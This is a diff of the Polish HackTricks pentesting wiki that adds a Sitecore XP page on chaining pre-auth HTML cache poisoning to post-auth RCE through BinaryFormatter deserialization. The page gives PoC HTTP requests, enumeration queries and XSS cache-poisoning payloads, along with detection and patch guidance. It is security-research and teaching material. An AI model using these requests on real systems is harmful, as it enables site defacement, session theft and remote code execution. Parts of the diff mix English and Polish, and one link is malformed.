[**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli to możliwe, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Sprawdź komentarze we wszystkich plikach — możesz znaleźć w nich **credentials** lub **ukrytą funkcjonalność**. -- Jeśli bierzesz udział w **CTF**, "popularny" trik to **ukrycie** informacji w komentarzach po **prawej** stronie strony (używając setek spacji, żeby nie widzieć danych przy otwarciu źródła w przeglądarce). Inną możliwością jest użycie **kilku nowych linii** i ukrycie informacji w komentarzu na **dole** strony. -- **API keys**: Jeśli **znajdziesz jakikolwiek API key**, istnieją projekty pokazujące jak wykorzystać API keys dla różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Jeśli znajdziesz API key zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp. -- **S3 Buckets**: Podczas spideringu sprawdź, czy któryś **subdomain** lub któryś **link** jest powiązany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** uprawnienia bucketu](buckets/index.html). +- **Comments:** Sprawdź komentarze we wszystkich plikach — możesz znaleźć **credentials** lub **ukrytą funkcjonalność**. +- Jeśli bierzesz udział w **CTF**, „popularny” trick to **ukrycie** **informacji** w komentarzach po **prawej** stronie **strony** (używając setek spacji, żeby nie widzieć danych przy otwarciu source w przeglądarce). Inną możliwością jest użycie kilku nowych linii i **ukrycie informacji** w komentarzu na **dole** strony. +- **API keys**: Jeśli **znajdziesz jakikolwiek API key**, dostępne są projekty pokazujące jak używać kluczy z różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Jeśli znajdziesz klucz API zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp. +- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomain** lub link związany jest z S3 bucketem. W takim wypadku [**sprawdź** uprawnienia bucketu](buckets/index.html). ### Special findings -Podczas **spideringu** i **brute-forcingu** możesz trafić na **interesujące** **znaleziska**, na które warto zwrócić uwagę. +Podczas wykonywania **spideringu** i **brute-forcingu** możesz natrafić na **interesujące** **znaleziska**, które należy **zauważyć**. **Interesujące pliki** - Szukaj **linków** do innych plików wewnątrz plików **CSS**. -- [Jeśli znajdziesz plik _**.git**_ można wydobyć pewne informacje](git.md) -- Jeśli znajdziesz _**.env**_, można odszukać takie informacje jak api keys, hasła do db i inne dane. -- Jeśli znajdziesz **API endpoints**, powinieneś je [też przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "będą wyglądać" jak pliki. -- **JS files**: W sekcji spideringu wspomniano kilka narzędzi do ekstrakcji ścieżek z plików JS. Warto także **monitorować każdy znaleziony plik JS**, bo w niektórych przypadkach zmiana może wskazywać, że potencjalna podatność została wprowadzona do kodu. Możesz użyć np. [**JSMon**](https://github.com/robre/jsmon)**.** -- Również sprawdź odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) w celu wykrycia podatności. +- [If you find a _**.git**_ file some information can be extracted](git.md) +- Jeśli znajdziesz plik _**.env**_ można znaleźć informacje takie jak api keys, hasła do baz danych i inne dane. +- Jeśli znajdziesz **API endpoints** powinieneś je [również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie „będą wyglądać” jak pliki. +- **JS files**: W sekcji spideringa wspomniano kilka narzędzi, które potrafią ekstrahować ścieżki z plików JS. Warto też **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że do kodu wprowadzono potencjalną podatność. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.** +- Powinieneś też sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) żeby znaleźć czy są podatne. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) -- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- W wielu przypadkach trzeba będzie **zrozumieć wyrażenia regularne** używane w kodzie. Przydatne strony to: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex) -- Możesz także **monitorować pliki, w których wykryto formularze**, ponieważ zmiana parametrów lub pojawienie się nowego formularza może wskazywać na potencjalnie nową, podatną funkcjonalność. +- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` +- W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne** użyte w kodzie. Przydatne będą: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex) +- Możesz także **monitorować pliki, w których wykryto formularze**, ponieważ zmiana parametrów lub pojawienie się nowego formularza może wskazywać na nową potencjalnie podatną funkcjonalność. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,28 +315,28 @@ Podczas **spideringu** i **brute-forcingu** możesz trafić na **interesujące** **502 Proxy Error** -Jeśli jakaś strona **odpowiada** tym **kodem**, prawdopodobnie mamy do czynienia z **źle skonfigurowanym proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem host i innymi standardowymi nagłówkami), **proxy** spróbuje uzyskać dostęp do _**google.com**_ i w ten sposób znajdziesz SSRF. +Jeśli którakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie to źle skonfigurowany proxy. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem Host i innymi standardowymi nagłówkami), **proxy** spróbuje uzyskać dostęp do _**google.com**_ i w ten sposób możesz znaleźć SSRF. **NTLM Authentication - Info disclosure** -Jeżeli serwer proszący o autoryzację jest **Windows** lub natrafisz na login proszący o Twoje **credentials** (i proszący o **nazwę domeny**), możesz sprowokować **ujawnienie informacji**.\ -**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z uwagi na to jak działa **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ -Możesz **zautomatyzować** to za pomocą pluginu nmap "_http-ntlm-info.nse_". +Jeżeli serwer żądający uwierzytelnienia jest **Windows** lub znajdziesz stronę logowania proszącą o Twoje **credentials** (i pytającą o **domain** **name**), możesz wywołać **wyciek informacji**.\ +**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu działania **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ +Możesz zautomatyzować to używając nmap pluginu "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Możliwe jest **umieszczenie treści** wewnątrz **Redirectu**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być w ten sposób **ukryte**. +Można **umieścić treść** wewnątrz **Redirection**. Ta treść **nie będzie widoczna dla użytkownika** (przeglądarka wykona przekierowanie), ale coś może być w ten sposób **ukryte**. ### Web Vulnerabilities Checking -Po wykonaniu kompleksowej enumeracji aplikacji webowej czas na sprawdzenie wielu możliwych podatności. Checklistę znajdziesz tutaj: +Gdy wykonasz już kompleksową enumerację aplikacji webowej, czas sprawdzić wiele możliwych podatności. Checklista znajduje się tutaj: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Znajdź więcej informacji o web vulns w: +Więcej informacji o web vulns: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md new file mode 100644 index 000000000..a3ca046f6 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -0,0 +1,193 @@ +# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE + +{{#include ../../../banners/hacktricks-training.md}} + +Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od pre‑auth XAML handler do HTML cache poisoning i, poprzez authenticated UI flow, do RCE za pomocą BinaryFormatter deserialization. Techniki te uogólniają się na podobne wersje/komponenty Sitecore i dostarczają konkretne prymitywy do testowania, wykrywania i zabezpieczania. + +- Testowany produkt: Sitecore XP 10.4.1 rev. 011628 +- Naprawione w: KB1003667, KB1003734 (czerwiec/lipiec 2025) + +Zobacz także: + +{{#ref}} +../../../pentesting-web/cache-deception/README.md +{{#endref}} + +{{#ref}} +../../../pentesting-web/deserialization/README.md +{{#endref}} + +## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write + +Punkt wejścia to pre‑auth XAML handler zarejestrowany w web.config: +```xml + +``` +Dostępne przez: +``` +GET /-/xaml/Sitecore.Shell.Xaml.WebControl +``` +Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i przy użyciu refleksji wywołuje metody na docelowych kontrolkach: +```csharp +// AjaxScriptManager.OnPreRender +string clientId = page.Request.Form["__SOURCE"]; // target control +string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2") +... +Dispatch(clientId, text); + +// eventually → DispatchMethod(control, parameters) +MethodInfo m = ReflectionUtil.GetMethodFiltered(this, e.Method, e.Parameters, true); +if (m != null) m.Invoke(this, e.Parameters); + +// Alternate branch for XML-based controls +if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} +``` +Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasie Sitecore), która przepuszcza ReflectionUtil.Filter allow‑list (Sitecore.*), odblokowując metody na Sitecore WebControl. + +Magiczna metoda do poisoning: +```csharp +// Sitecore.Web.UI.WebControl +protected virtual void AddToCache(string cacheKey, string html) { +HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); +if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); +} +``` +Ponieważ możemy targetować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, uzyskujemy pre‑auth prymityw pozwalający na dowolny zapis do HtmlCache. + +### Prośba o PoC (CVE-2025-53693) +``` +POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 +Host: target +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +Notatki: +- __SOURCE jest clientID xmlcontrol:GlobalHeader w ramach Sitecore.Shell.Xaml.WebControl (zwykle stabilny, np. ctl00_ctl00_ctl05_ctl03, ponieważ jest wyprowadzony ze statycznego XAML). +- __PARAMETERS ma format Method("arg1","arg2"). + +## Co zatruć: konstrukcja klucza Cache + +Typowa konstrukcja klucza HtmlCache używana przez kontrolki Sitecore: +```csharp +public virtual string GetCacheKey(){ +SiteContext site = Sitecore.Context.Site; +if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){ +string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey; +if (key.Length > 0){ +string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant(); +if (this.VaryByData) k += ResolveDataKeyPart(); +if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName(); +if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn; +if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName(); +if (this.VaryByParm) k += "_#parm:" + this.Parameters; +if (this.VaryByQueryString && site?.Request != null) +k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&"); +if (this.ClearOnIndexUpdate) k += "_#index"; +return k; +} +} +return string.Empty; +} +``` +Przykład targeted poisoning dla znanego sublayoutu: +``` +__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +## Wyliczanie elementów cache'owalnych i wymiarów “vary by” + +Jeśli ItemService jest (błędnie) wystawiony anonimowo, możesz wyliczyć komponenty cache'owalne, aby uzyskać dokładne klucze. + +Szybkie sprawdzenie: +``` +GET /sitecore/api/ssc/item +// 404 Sitecore error body → exposed (anonymous) +// 403 → blocked/auth required +``` +Wypisz elementy możliwe do cache'owania i flagi: +``` +GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 +``` +Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyliczyć za pomocą: +``` +GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 +``` +### Side‑channel enumeration under restricted identities (CVE-2025-53694) + +Nawet gdy ItemService podszywa się pod ograniczone konto (np. ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać pre‑ACL trafienia w Solr. Możesz brute‑force item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega się, aby zmapować wewnętrzną zawartość i urządzenia: +``` +GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true +→ "TotalCount": 3 +GET /...term=%2B_templatename:Device;%2B_group:aa* +→ "TotalCount": 2 +GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* +→ narrow to a specific item +``` +## Post‑auth RCE: BinaryFormatter sink w convertToRuntimeHtml (CVE-2025-53691) + +Miejsce wykorzystania: +```csharp +// Sitecore.Convert +byte[] b = Convert.FromBase64String(data); +return new BinaryFormatter().Deserialize(new MemoryStream(b)); +``` +Dostępne za pośrednictwem kroku pipeline convertToRuntimeHtml o nazwie ConvertWebControls, który szuka elementu o id {iframeId}_inner, base64 decodes + deserializes jego zawartość, a następnie wstrzykuje powstały string do HTML: +```csharp +HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); +string text2 = inner?.GetAttributeValue("value", ""); +if (text2.Length > 0) +htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); +``` +Wyzwalacz (uwierzytelniony, prawa Content Editor). Okno dialogowe FixHtml wywołuje convertToRuntimeHtml. End‑to‑end bez kliknięć w UI: +``` +// 1) Start Content Editor +GET /sitecore/shell/Applications/Content%20Editor.aspx + +// 2) Load malicious HTML into EditHtml session (XAML event) +POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= + + + + + +// 3) Server returns a session handle (hdl) for FixHtml +{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."} + +// 4) Visit FixHtml to trigger ConvertWebControls → deserialization +GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... +``` +Generowanie gadgetu: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana do HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji. + +{{#ref}} +../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +{{#endref}} + +## Pełny łańcuch + +1) Pre‑auth attacker zatruwa HtmlCache dowolnym HTML, wywołując refleksyjnie WebControl.AddToCache przez XAML AjaxScriptManager. +2) Zatruty HTML serwuje JavaScript, który nakłania uwierzytelnionego użytkownika Content Editor do przejścia przez flow FixHtml. +3) Strona FixHtml uruchamia convertToRuntimeHtml → ConvertWebControls, które deserializuje kontrolowane przez atakującego base64 za pomocą BinaryFormatter → RCE pod tożsamością puli aplikacji Sitecore. + +## Wykrywanie + +- Pre‑auth XAML: żądania do `/-/xaml/Sitecore.Shell.Xaml.WebControl` z `__ISEVENT=1`, podejrzane `__SOURCE` oraz `__PARAMETERS=AddToCache(...)`. +- ItemService probing: skoki zapytań wildcard do `/sitecore/api/ssc`, duże `TotalCount` przy pustych `Results`. +- Próby deserializacji: `EditHtml.aspx` a następnie `FixHtml.aspx?hdl=...` oraz nietypowo duże base64 w polach HTML. + +## Utwardzanie + +- Zastosuj poprawki Sitecore KB1003667 i KB1003734; zablokuj/wyłącz pre‑auth XAML handlers lub dodaj rygorystyczną walidację; monitoruj i ograniczaj liczbę żądań do `/-/xaml/`. +- Usuń/zastąp BinaryFormatter; ogranicz dostęp do convertToRuntimeHtml lub wymuś silną walidację po stronie serwera w przepływach edycji HTML. +- Zablokuj `/sitecore/api/ssc` do loopback lub autoryzowanych ról; unikaj wzorców impersonation, które tworzą kanały boczne oparte na `TotalCount`. +- Wymuś MFA/zasadę najmniejszych uprawnień dla użytkowników Content Editor; przejrzyj CSP, aby zmniejszyć wpływ JS steering wynikający z cache poisoning. + +## References + +- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) +- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 46d6b1cb3..bf6e08a28 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -4,72 +4,73 @@ ## Różnica -> **Jaka jest różnica między złośliwym wykorzystaniem pamięci podręcznej a oszustwem pamięci podręcznej?** +> **Jaka jest różnica między web cache poisoning a web cache deception?** > -> - W **złośliwym wykorzystaniu pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, która jest następnie serwowana innym użytkownikom aplikacji. -> - W **oszustwie pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej. +> - In **web cache poisoning**, atakujący powoduje, że aplikacja zapisuje złośliwą treść w cache, a ta treść jest serwowana z cache innym użytkownikom aplikacji. +> - In **web cache deception**, atakujący powoduje, że aplikacja zapisuje w cache wrażliwe dane należące do innego użytkownika, a następnie atakujący pobiera te dane z cache. -## Złośliwe wykorzystanie pamięci podręcznej +## Cache Poisoning -Złośliwe wykorzystanie pamięci podręcznej ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej. +Cache poisoning ma na celu manipulowanie pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Skala wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia cache. -Wykonanie ataku złośliwego wykorzystania pamięci podręcznej obejmuje kilka kroków: +Wykonanie ataku cache poisoning obejmuje kilka kroków: -1. **Identyfikacja niekluczowych wejść**: Są to parametry, które, chociaż nie są wymagane do zbuforowania żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystywane do manipulacji pamięcią podręczną. -2. **Wykorzystanie niekluczowych wejść**: Po zidentyfikowaniu niekluczowych wejść, kolejnym krokiem jest ustalenie, jak niewłaściwie wykorzystać te parametry, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego. -3. **Zapewnienie, że skażona odpowiedź jest zbuforowana**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas zanieczyszczenia pamięci podręcznej otrzyma skażoną odpowiedź. +1. **Identification of Unkeyed Inputs**: Są to parametry, które, chociaż nie są brane pod uwagę przy tworzeniu cache dla żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych parametrów jest kluczowa, ponieważ można je wykorzystać do manipulacji cache. +2. **Exploitation of the Unkeyed Inputs**: Po zidentyfikowaniu parametrów niewchodzących w klucz cache, kolejnym krokiem jest ustalenie, jak można nadużyć tych parametrów, aby zmodyfikować odpowiedź serwera na korzyść atakującego. +3. **Ensuring the Poisoned Response is Cached**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź zostanie zapisana w cache. W ten sposób każdy użytkownik odwiedzający dotkniętą stronę w czasie, gdy cache jest skażony, otrzyma taką odpowiedź. -### Odkrycie: Sprawdź nagłówki HTTP +### Discovery: Check HTTP headers -Zazwyczaj, gdy odpowiedź została **przechowywana w pamięci podręcznej**, będzie **nagłówek to wskazujący**, możesz sprawdzić, które nagłówki powinieneś obserwować w tym poście: [**Nagłówki pamięci podręcznej HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Zazwyczaj, gdy odpowiedź została **zapisana w cache**, pojawi się **nagłówek to wskazujący**; możesz sprawdzić, na które nagłówki powinieneś zwracać uwagę w tym wpisie: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Odkrycie: Kody błędów pamięci podręcznej +### Discovery: Caching error codes -Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z błędnym nagłówkiem**, na które powinno być odpowiedziane **kodem statusu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod statusu 400**, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS). +Jeśli podejrzewasz, że odpowiedź jest zapisywana w cache, możesz spróbować **wysłać żądania z nieprawidłowym nagłówkiem**, na co serwer powinien odpowiedzieć **kodem statusu 400**. Następnie spróbuj uzyskać dostęp do zasobu normalnie — jeśli **odpowiedź ma kod 400**, wiesz, że jest podatne (i możesz nawet przeprowadzić DoS). + +You can find more options in: -Możesz znaleźć więcej opcji w: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -Jednak pamiętaj, że **czasami te rodzaje kodów statusu nie są buforowane**, więc ten test może nie być wiarygodny. +Zwróć uwagę jednak, że **czasami tego typu kody statusu nie są zapisywane w cache**, więc ten test może być nierzetelny. -### Odkrycie: Identyfikacja i ocena niekluczowych wejść +### Discovery: Identify and evaluate unkeyed inputs -Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **brute-force'ować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład, strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi załadowanie skryptu stamtąd: +Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** które mogą **zmieniać odpowiedź strony**. Na przykład strona może używać nagłówka `X-Forwarded-For` aby wskazać klientowi, żeby stamtąd załadował skrypt: ```html ``` -### Wydobycie szkodliwej odpowiedzi z serwera zaplecza +### Wywołaj szkodliwą odpowiedź z back-endu -Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest on **sanitizowany** i **gdzie** jest **odzwierciedlany** lub wpływa na odpowiedź z nagłówka. Czy możesz to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez siebie kod JS? przeprowadzić DoS?...) +With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) -### Uzyskanie odpowiedzi w pamięci podręcznej +### Uzyskaj zapis odpowiedzi w cache -Gdy już **zidentyfikujesz** **stronę**, którą można wykorzystać, który **parametr**/**nagłówek** użyć i **jak** go **wykorzystać**, musisz uzyskać stronę w pamięci podręcznej. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możesz musieć próbować przez kilka sekund. +Gdy już **zidentyfikujesz** **page**, którą można wykorzystać, który **parameter**/**header** użyć i **jak** ją **abuse**'ować, musisz sprawić, by strona została zapisana w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to zająć trochę czasu — może być konieczne powtarzanie prób przez kilka sekund. -Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest w pamięci podręcznej.\ -Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest zapisywany w pamięci podręcznej i kiedy następnym razem zasób zostanie ponownie zapisany w pamięci podręcznej: `Cache-Control: public, max-age=1800` +The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ +The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` -Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników korzystających z tego konkretnego `User-Agent`. +Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. -Jeszcze jednym nagłówkiem związanym z pamięcią podręczną jest **`Age`**. Określa czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy. +One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. -Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej przy użyciu **różnych przeglądarek**, aby sprawdzić, czy działa. +When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **part of the key** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. ## Przykłady wykorzystania ### Najprostszy przykład -Nagłówek taki jak `X-Forwarded-For` jest odzwierciedlany w odpowiedzi bez sanitizacji.\ -Możesz wysłać podstawowy ładunek XSS i zanieczyścić pamięć podręczną, aby każdy, kto uzyska dostęp do strony, został zaatakowany XSS: +A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ +You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_Note that this will poison a request to `/en?region=uk` not to `/en`_ +_Zauważ, że to zatruje żądanie do `/en?region=uk`, a nie do `/en`_ ### Cache poisoning to 